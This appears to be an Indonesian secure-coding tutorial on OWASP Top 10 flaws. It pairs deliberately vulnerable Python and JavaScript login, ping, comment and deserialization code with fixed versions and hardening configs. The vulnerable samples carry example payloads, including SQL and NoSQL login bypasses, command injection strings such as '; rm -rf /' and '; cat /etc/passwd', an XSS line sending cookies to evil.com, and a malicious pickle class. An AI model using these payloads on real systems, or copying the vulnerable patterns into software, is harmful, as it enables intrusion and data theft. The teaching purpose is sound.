OWASP Top 10: Vulnerability Web yang Harus Diketahui

# ⚠️ KODE INI RENTAN TERHADAP SQL INJECTION — JANGAN DITIRU!
import sqlite3

def login_rentan(username, password):
    conn = sqlite3.connect('app.db')
    cursor = conn.cursor()

    # ❌ String concatenation langsung ke SQL query
    query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
    cursor.execute(query)

    # Input berbahaya: username = "admin' OR '1'='1' --"
    # Query menjadi: SELECT * FROM users WHERE username='admin' OR '1'='1' --' AND password=''
    # Hasil: attacker berhasil login tanpa password!

    user = cursor.fetchone()
    conn.close()
    return user

# Contoh payload injection:
# Username: ' OR 1=1 --
# Password: (kosong)
# Query menjadi: SELECT * FROM users WHERE username='' OR 1=1 --' AND password=''
# Ini mengembalikan SEMUA user!

# ✅ KODE AMAN — Menggunakan Parameterized Query
import sqlite3

def login_aman(username, password):
    conn = sqlite3.connect('app.db')
    cursor = conn.cursor()

    # ✅ Gunakan parameterized query (placeholder ?)
    query = "SELECT * FROM users WHERE username = ? AND password = ?"
    cursor.execute(query, (username, password))

    # Database driver akan sanitize input secara otomatis
    # Input berbahaya hanya dianggap sebagai string biasa

    user = cursor.fetchone()
    conn.close()
    return user

# ✅ Alternatif: Menggunakan ORM (SQLAlchemy)
from sqlalchemy import create_engine, text
from sqlalchemy.orm import Session

def login_dengan_orm(username, password):
    engine = create_engine('sqlite:///app.db')
    with Session(engine) as session:
        result = session.execute(
            text("SELECT * FROM users WHERE username = :u AND password = :p"),
            {"u": username, "p": password}
        )
        return result.fetchone()

// ❌ RENTAN: NoSQL Injection pada MongoDB + Express
const express = require('express');
const { MongoClient } = require('mongodb');

app.post('/login', async (req, res) => {
  const { username, password } = req.body;

  // ❌ Query langsung dari user input
  // Attacker bisa mengirim: { "username": {"$gt": ""}, "password": {"$gt": ""} }
  // Ini bypass autentikasi karena $gt: "" selalu true!
  const user = await db.collection('users').findOne({
    username: username,
    password: password
  });

  if (user) res.json({ success: true });
  else res.status(401).json({ success: false });
});

// ✅ SOLUSI: Validasi tipe input
app.post('/login', async (req, res) => {
  const { username, password } = req.body;

  // Pastikan input adalah string, bukan object
  if (typeof username !== 'string' || typeof password !== 'string') {
    return res.status(400).json({ error: 'Input tidak valid' });
  }

  // Sanitasi dan gunakan bcrypt untuk password
  const user = await db.collection('users').findOne({
    username: username
  });

  if (user && await bcrypt.compare(password, user.passwordHash)) {
    res.json({ success: true });
  } else {
    res.status(401).json({ success: false });
  }
});

# ❌ RENTAN: OS Command Injection
import subprocess

def ping_host_rentan(host):
    # Input user langsung ke command
    result = subprocess.run(
        f"ping -c 4 {host}",  # host bisa jadi: "8.8.8.8; rm -rf /"
        shell=True,            # shell=True menambah risiko!
        capture_output=True,
        text=True
    )
    return result.stdout

# Payload berbahaya: "8.8.8.8; cat /etc/passwd"
# Akan menjalankan: ping -c 4 8.8.8.8; cat /etc/passwd

# ✅ SOLUSI: Gunakan subprocess tanpa shell + validasi input
import re
import shlex

def ping_host_aman(host):
    # Validasi input — hanya boleh IP atau hostname
    if not re.match(r'^[a-zA-Z0-9\.\-]+$', host):
        raise ValueError("Input tidak valid!")

    # Gunakan list alih-alih string + shell=False
    result = subprocess.run(
        ["ping", "-c", "4", host],
        shell=False,  # Tidak melalui shell
        capture_output=True,
        text=True
    )
    return result.stdout

# ✅ Implementasi Autentikasi yang Aman
from flask import Flask, request, session, abort
import bcrypt
import secrets
import time
from functools import wraps

app = Flask(__name__)
app.secret_key = secrets.token_hex(32)

# Rate limiting sederhana
login_attempts = {}

def rate_limit(username, max_attempts=5, window=300):
    """Batasi percobaan login per username"""
    now = time.time()
    if username not in login_attempts:
        login_attempts[username] = []

    # Hapus attempt lama
    login_attempts[username] = [
        t for t in login_attempts[username] if now - t < window
    ]

    if len(login_attempts[username]) >= max_attempts:
        return False  # Terlalu banyak percobaan

    login_attempts[username].append(now)
    return True

@app.route('/login', methods=['POST'])
def login():
    username = request.form.get('username', '')
    password = request.form.get('password', '')

    # Rate limiting
    if not rate_limit(username):
        abort(429, "Terlalu banyak percobaan login. Coba lagi nanti.")

    # Cari user di database
    user = find_user(username)
    if not user:
        # Gunakan pesan error generik untuk mencegah username enumeration
        return {"error": "Username atau password salah"}, 401

    # Verifikasi password dengan bcrypt
    if bcrypt.checkpw(password.encode(), user['password_hash']):
        # Generate session token yang aman
        session['user_id'] = user['id']
        session['token'] = secrets.token_hex(32)
        session.permanent = True
        app.permanent_session_lifetime = 3600  # 1 jam

        return {"message": "Login berhasil"}
    else:
        return {"error": "Username atau password salah"}, 401

# Registrasi dengan password hashing
@app.route('/register', methods=['POST'])
def register():
    username = request.form.get('username', '')
    password = request.form.get('password', '')

    # Validasi kekuatan password
    if len(password) < 12:
        return {"error": "Password minimal 12 karakter"}, 400
    if not any(c.isupper() for c in password):
        return {"error": "Password harus mengandung huruf besar"}, 400
    if not any(c.isdigit() for c in password):
        return {"error": "Password harus mengandung angka"}, 400

    # Hash password dengan bcrypt (salt otomatis)
    salt = bcrypt.gensalt(rounds=12)
    password_hash = bcrypt.hashpw(password.encode(), salt)

    # Simpan ke database
    save_user(username, password_hash)
    return {"message": "Registrasi berhasil"}, 201

// ❌ RENTAN: Stored XSS pada komentar blog
function tampilkanKomentar(komentar) {
  // InnerHTML tanpa sanitasi = XSS!
  document.getElementById('komentar').innerHTML = komentar;
  // Jika komentar: "<script>document.location='http://evil.com/?c='+document.cookie</script>"
  // Cookie pengguna akan dikirim ke server penyerang!

// ✅ AMAN: Menggunakan textContent atau sanitasi
function tampilkanKomentarAman(komentar) {
  // textContent secara otomatis escape HTML
  document.getElementById('komentar').textContent = komentar;
}

// ✅ AMAN: Sanitasi HTML jika perlu rendering HTML
function sanitizeHTML(input) {
  const div = document.createElement('div');
  div.textContent = input;
  return div.innerHTML;
}

// ✅ AMAN: Menggunakan library DOMPurify
// npm install dompurify
import DOMPurify from 'dompurify';
function tampilkanKomentarDenganSanitasi(html) {
  const clean = DOMPurify.sanitize(html);
  document.getElementById('komentar').innerHTML = clean;
}

# ✅ Implementasi Content Security Policy (CSP) di Flask
from flask import Flask, make_response

app = Flask(__name__)

@app.after_request
def add_security_headers(response):
    # CSP — batasi sumber script, style, dan resource lainnya
    response.headers['Content-Security-Policy'] = (
        "default-src 'self'; "
        "script-src 'self' 'nonce-random123'; "
        "style-src 'self' 'unsafe-inline'; "
        "img-src 'self' data: https:; "
        "font-src 'self'; "
        "connect-src 'self'; "
        "frame-ancestors 'none'; "
        "base-uri 'self'; "
        "form-action 'self'"
    )

    # Header keamanan tambahan
    response.headers['X-Content-Type-Options'] = 'nosniff'
    response.headers['X-Frame-Options'] = 'DENY'
    response.headers['X-XSS-Protection'] = '1; mode=block'
    response.headers['Referrer-Policy'] = 'strict-origin-when-cross-origin'
    response.headers['Strict-Transport-Security'] = 'max-age=31536000; includeSubDomains'

    return response

# ✅ Template dengan auto-escaping (Jinja2)
# Jinja2 secara default melakukan auto-escaping:
# {{ user_input }} → aman (di-escape otomatis)
# {{ user_input | safe }} → HANYA gunakan untuk konten yang sudah dipercaya

# ❌ SANGAT BERBAHAYA: Deserialisasi pickle dari input user
import pickle
import base64

# Penyerang bisa membuat payload pickle yang menjalankan perintah sistem
class MaliciousPayload:
    def __reduce__(self):
        import os
        return (os.system, ('echo "Server diambil alih!" && whoami',))

# Penyerang mengirim: base64.b64encode(pickle.dumps(MaliciousPayload()))
# Saat server mendeserialisasi, perintah di atas akan dieksekusi!

# ❌ Contoh kode rentan
def load_user_preferences(data_base64):
    data = base64.b64decode(data_base64)
    return pickle.loads(data)  # ⚠️ Bisa mengeksekusi kode apapun!

# ✅ SOLUSI 1: Jangan gunakan pickle untuk data dari luar
# Gunakan JSON sebagai gantinya
import json

def load_user_preferences_aman(data_json):
    # JSON hanya bisa merepresentasikan data, bukan kode
    allowed_keys = {'theme', 'language', 'notifications', 'font_size'}
    data = json.loads(data_json)

    # Validasi struktur data
    sanitized = {k: v for k, v in data.items() if k in allowed_keys}
    return sanitized

# ✅ SOLUSI 2: Jika harus deserialize data complex, gunakan safe format
# seperti JSON Schema validation
from jsonschema import validate

schema = {
    "type": "object",
    "properties": {
        "theme": {"type": "string", "enum": ["dark", "light"]},
        "language": {"type": "string", "pattern": "^[a-z]{2}$"},
        "notifications": {"type": "boolean"},
        "font_size": {"type": "integer", "minimum": 12, "maximum": 24}
    },
    "additionalProperties": false
}

def load_preferences_validated(data_json):
    data = json.loads(data_json)
    validate(instance=data, schema=schema)  # Validasi ketat
    return data

# security_config.py — Checklist Konfigurasi Keamanan
from flask import Flask
import os

def create_secure_app():
    app = Flask(__name__)

    # ✅ 1. Secret key dari environment variable, bukan hardcoded
    app.secret_key = os.environ.get('SECRET_KEY')
    if not app.secret_key:
        raise RuntimeError("SECRET_KEY harus diset di environment variable!")

    # ✅ 2. Matikan debug mode di production
    app.config['DEBUG'] = False
    app.config['TESTING'] = False

    # ✅ 3. Konfigurasi session yang aman
    app.config['SESSION_COOKIE_SECURE'] = True      # Hanya HTTPS
    app.config['SESSION_COOKIE_HTTPONLY'] = True     # Tidak bisa diakses JS
    app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'   # Cegah CSRF
    app.config['PERMANENT_SESSION_LIFETIME'] = 3600  # 1 jam timeout

    # ✅ 4. Rate limiting
    from flask_limiter import Limiter
    from flask_limiter.util import get_remote_address
    limiter = Limiter(app=app, key_func=get_remote_address)

    # ✅ 5. CORS configuration yang ketat
    from flask_cors import CORS
    CORS(app, resources={
        r"/api/*": {
            "origins": ["https://beebanelabs.pages.dev"],
            "methods": ["GET", "POST"],
            "allow_headers": ["Content-Type", "Authorization"]
        }
    })

    # ✅ 6. Error handler — jangan ekspos stack trace
    @app.errorhandler(500)
    def internal_error(error):
        app.logger.error(f"Internal error: {error}")
        return {"error": "Terjadi kesalahan internal"}, 500

    @app.errorhandler(404)
    def not_found(error):
        return {"error": "Halaman tidak ditemukan"}, 404

    return app

# ✅ 7. Environment-based configuration
class Config:
    """Pisahkan config per environment"""
    TESTING = False
    CSRF_ENABLED = True
    SQLALCHEMY_TRACK_MODIFICATIONS = False

class ProductionConfig(Config):
    DEBUG = False
    DATABASE_URI = os.environ.get('DATABASE_URL')
    # Pastikan SSL/TLS untuk database connection
    SQLALCHEMY_ENGINE_OPTIONS = {
        'connect_args': {'sslmode': 'require'}
    }

class DevelopmentConfig(Config):
    DEBUG = True
    DATABASE_URI = 'sqlite:///dev.db'

# /etc/nginx/conf.d/security.conf

# Content Security Policy
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self'; connect-src 'self'; frame-ancestors 'none';" always;

# Mencegah clickjacking
add_header X-Frame-Options "DENY" always;

# Mencegah MIME sniffing
add_header X-Content-Type-Options "nosniff" always;

# XSS Protection (legacy browsers)
add_header X-XSS-Protection "1; mode=block" always;

# HSTS — paksa HTTPS
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;

# Referrer Policy
add_header Referrer-Policy "strict-origin-when-cross-origin" always;

# Permissions Policy
add_header Permissions-Policy "camera=(), microphone=(), geolocation=(), payment=()" always;

# Sembunyikan versi server
server_tokens off;